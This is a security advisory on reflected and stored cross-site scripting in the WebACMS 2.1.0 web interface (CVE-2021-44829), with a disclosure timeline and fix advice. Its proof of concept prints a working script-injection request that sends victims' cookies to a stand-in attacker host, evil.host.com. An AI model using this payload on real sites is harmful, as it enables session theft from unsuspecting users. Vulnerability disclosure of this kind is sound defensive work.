Advisory: WebACMS 2.1.0 Cross-Site Scripting

Detailed Security Advisory

• Advisory ID: TO-2021-001
• Product: WebACMS
• Vendor: AFI Solutions GmbH
• Tested Version: 2.1.0
• Fixed Version: –
• Vulnerability Type: Cross-Site Scripting (CWE-79)
• CVSSv2 Severity: AV:N/AC:L/Au:N/C:P/I:P/A:N (Score 6.4)
• CVSSv3 Severity: AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N (Score 6.1)
• Solution Status: Unfixed
• Manufacturer Notification: 2021-12-13
• Solution Date: 2022-01-17
• Public Disclosure: 2022-01-20
• CVE Reference: CVE-2021-44829
• Authors of Advisory: Patrick Hener & Siva Rajendran, Thinking Objects GmbH

Overview

The product „ACMS“ of AFI Solutions GmbH [1] is a so called edi converter. For
companies to be able to exchange arbitrary data it is common to use a edi
converter to convert between data formats of the sender and the recipient.
The product of AFI Solutions also incorporates a web interface, which is the
subject of this advisory.

Vulnerability Details

The index page has a parameter „ID“ which is used to navigate within the web
application. It is not properly sanitized and will be rendered into the login
form of the index page, as well. The vulnerable code will be shown from the
following listing:

<form action="/index.html?id=1" method="post" name="thisForm" target="_top">

[.. truncated ..]

<table class="logintable">
<tbody>
<tr>
<td width="110">Benutzername</td>
</tr>
</tbody>
</table>
</form>

The parameter can be chosen from the actual url in the browser and thus is
unsanitized user controlled input. This makes the application vulnerable to
reflected Cross-Site Scripting. This vulnerability also applies to basically
all user controlled input after login. Also content returned by the database
is not properly sanitized before presentation, as well. Therefore the app is
also vulnerable to stored Cross-Site Scripting.

Proof of Concept (PoC)

The following request will steal the applications insecure cookies using this
vulnerablity.

GET /index.html?id=%22%3E%3Cscript%3Edocument.location=%27http://evil.host.com
/cookies?%27%2Bdocument.cookie;%3C/script%3E%3Cid=%22 HTTP/1.1
Host: vulnerable.host.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: COMID=

Upgrade-Insecure-Requests: 1

This will render to the following html code and trigger in a victims browser.

<form action="/index.html?id=" method="post" name="thisForm"><script>
document.location='http://evil.host.com/cookies?'+document.cookie;</script>
<id="" target="_top">

Solution

The user supplied data should be sanitized before using it to render a page.
Also database retrieved content should be sanitized before presenting it to the
browser again.

The vendor states that this software component was only used by the vendors
support and that it is not used actively anymore. The vendor recommends to
deactivate this component.

Disclosure Timeline

• 2021-12-10: Vulnerability discovered
• 2021-12-13: Vulnerability reported to manufacturer
• 2022-01-17: Solution provided by manufacturer
• 2022-01-20: Public disclosure of vulnerability

References

[1] Vendor Website:
https://www.afi-solutions.com/
[2] Thinking Objects Security Advisory
https://blog.to.com/advisory-webacms-2-1-0-cross-site-scripting
[3] Thinking Objects Responsible Disclosure Policy
https://blog.to.com/responsible-disclosure-policy/

Credits

This security vulnerability was found by Patrick Hener and Siva Rajendran
of Thinking Objects GmbH.

E-Mail: patrick.hener@to.com
Public Keys: https://to.com/pgp-keys
Key ID: 877756EA2CB50685
Key Fingerprint: 2605 3D51 3FAA 3795 E116 95EC 8777 56EA 2CB5 0685

Disclaimer

The information provided in this security advisory is provided „as is“
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible.

Copyright

Creative Commons – Attribution (by) – Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en